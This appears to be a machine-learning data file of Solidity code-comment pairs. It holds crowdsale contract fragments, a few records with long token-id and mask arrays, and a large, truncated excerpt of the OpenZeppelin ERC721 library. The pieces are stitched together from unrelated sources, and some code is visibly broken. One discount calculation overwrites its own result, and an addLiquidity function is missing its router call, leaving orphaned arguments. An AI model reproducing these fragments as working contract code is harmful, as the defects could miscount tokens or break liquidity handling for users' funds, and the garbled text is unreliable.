/**
* @dev Public method where private sale manager can transfer the rest of tokens form private sale wallet available to crowdsale
*/
function redeemPrivateSaleFunds()
public
onlyPrivateSaleWallet
{
uint256 _balance = ClinicAllToken(token).balanceOf(msg.sender);
privateSaleSupplyLimit = privateSaleSupplyLimit.sub(_balance);
ClinicAllToken(token).burnPrivateSale(msg.sender, _balance);
}
/**
* @dev Internal method where private sale manager getting private sale limit amount of tokens
* @param privateSaleSupplyAmount value of CHT tokens to add for private sale
*/
function allocatePrivateSaleFunds(uint256 privateSaleSupplyAmount) public onlyOwner
{
require(privateSaleSupplyLimit.add(privateSaleSupplyAmount) < tokenSupplyLimit, "Token's private sale supply limit should be less that token supply limit.");
privateSaleSupplyLimit = privateSaleSupplyLimit.add(privateSaleSupplyAmount);
_deliverTokens(privateSaleWallet, privateSaleSupplyAmount);
}
/**
@dev Owner can withdraw part of funds during of ICO
@param _value Transaction amoun that will be deducted from an vault sum
*/
function beneficiaryWithdrawChunk(uint256 _value) public onlyOwner {
vault.beneficiaryWithdrawChunk(_value);
}
/**
@dev Owner can withdraw all funds during or after of ICO
*/
function beneficiaryWithdrawAll() public onlyOwner {
vault.beneficiaryWithdrawAll();
}
/**
@dev Owner can do manual refund here if investore has "BAD" money
@param _payee address of investor that needs to refund with next manual ETH sending
*/
function manualRefund(address _payee) public onlyOwner {
uint256 deposit = vault.depositsOf(_payee);
vault.manualRefund(_payee);
weiRaised = weiRaised.sub(deposit);
ClinicAllToken(token).burnAfterRefund(_payee);
}
}
|
* @dev iternal method returns total tokens amount including discount/get rest of WEI
|
function _getTokensWithDiscount(uint256 _weiAmount)
internal view returns (uint256)
{
uint256 tokens = 0;
uint256 restOfDiscountTokens = discountTokenAmount.sub(token.totalSupply());
uint256 discountTokensMax = _getDiscountTokenAmount(_weiAmount);
if (restOfDiscountTokens < discountTokensMax) {
uint256 discountTokens = restOfDiscountTokens;
uint256 _rate = _getDiscountRate();
uint256 _discointWeiAmount = discountTokens.div(_rate);
uint256 _restOfWeiAmount = _weiAmount.sub(_discointWeiAmount);
uint256 normalTokens = _restOfWeiAmount.mul(rate);
tokens = discountTokens.add(normalTokens);
tokens = discountTokensMax;
}
return tokens;
}
| 6,432,653 |
[
1,
2165,
82,
287,
707,
1135,
2078,
2430,
3844,
6508,
12137,
19,
588,
3127,
434,
13880,
45,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
225,
445,
389,
588,
5157,
1190,
9866,
12,
11890,
5034,
389,
1814,
77,
6275,
13,
203,
225,
2713,
1476,
1135,
261,
11890,
5034,
13,
203,
225,
288,
203,
565,
2254,
5034,
2430,
273,
374,
31,
203,
565,
2254,
5034,
3127,
951,
9866,
5157,
273,
12137,
1345,
6275,
18,
1717,
12,
2316,
18,
4963,
3088,
1283,
10663,
203,
565,
2254,
5034,
12137,
5157,
2747,
273,
389,
588,
9866,
1345,
6275,
24899,
1814,
77,
6275,
1769,
203,
565,
309,
261,
8792,
951,
9866,
5157,
411,
12137,
5157,
2747,
13,
288,
203,
1377,
2254,
5034,
12137,
5157,
273,
3127,
951,
9866,
5157,
31,
203,
1377,
2254,
5034,
389,
5141,
273,
389,
588,
9866,
4727,
5621,
203,
1377,
2254,
5034,
389,
2251,
71,
763,
3218,
77,
6275,
273,
12137,
5157,
18,
2892,
24899,
5141,
1769,
203,
1377,
2254,
5034,
389,
8792,
951,
3218,
77,
6275,
273,
389,
1814,
77,
6275,
18,
1717,
24899,
2251,
71,
763,
3218,
77,
6275,
1769,
203,
1377,
2254,
5034,
2212,
5157,
273,
389,
8792,
951,
3218,
77,
6275,
18,
16411,
12,
5141,
1769,
203,
1377,
2430,
273,
12137,
5157,
18,
1289,
12,
6130,
5157,
1769,
203,
1377,
2430,
273,
12137,
5157,
2747,
31,
203,
565,
289,
203,
203,
565,
327,
2430,
31,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x25127685dC35d4dc96C7fEAC7370749d004C5040/sources/unibot_token.sol
|
approve token transfer to cover all possible scenarios add the liquidity
|
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
address(this),
tokenAmount,
deadAddress,
block.timestamp
);
}
| 17,004,697 |
[
1,
12908,
537,
1147,
7412,
358,
5590,
777,
3323,
22456,
527,
326,
4501,
372,
24237,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
527,
48,
18988,
24237,
12,
11890,
5034,
1147,
6275,
16,
2254,
5034,
13750,
6275,
13,
3238,
288,
7010,
3639,
389,
12908,
537,
12,
2867,
12,
2211,
3631,
1758,
12,
318,
291,
91,
438,
58,
22,
8259,
3631,
1147,
6275,
1769,
203,
203,
5411,
1758,
12,
2211,
3631,
203,
5411,
1147,
6275,
16,
203,
5411,
8363,
1887,
16,
203,
5411,
1203,
18,
5508,
203,
3639,
11272,
203,
565,
289,
7010,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
*Submitted for verification at Etherscan.io on 2021-12-07
*/
// File: @openzeppelin/contracts/utils/Counters.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
///
/// @dev Interface for the NFT Royalty Standard
///
interface IERC2981 is IERC165 {
/// ERC165 bytes to add to interface array - set in parent contract
/// implementing this standard
///
/// bytes4(keccak256("royaltyInfo(uint256,uint256)")) == 0x2a55205a
/// bytes4 private constant _INTERFACE_ID_ERC2981 = 0x2a55205a;
/// _registerInterface(_INTERFACE_ID_ERC2981);
/// @notice Called with the sale price to determine how much royalty
// is owed and to whom.
/// @param _tokenId - the NFT asset queried for royalty information
/// @param _salePrice - the sale price of the NFT asset specified by _tokenId
/// @return receiver - address of who should be sent the royalty payment
/// @return royaltyAmount - the royalty payment amount for _salePrice
function royaltyInfo(
uint256 _tokenId,
uint256 _salePrice
) external view returns (
address receiver,
uint256 royaltyAmount
);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
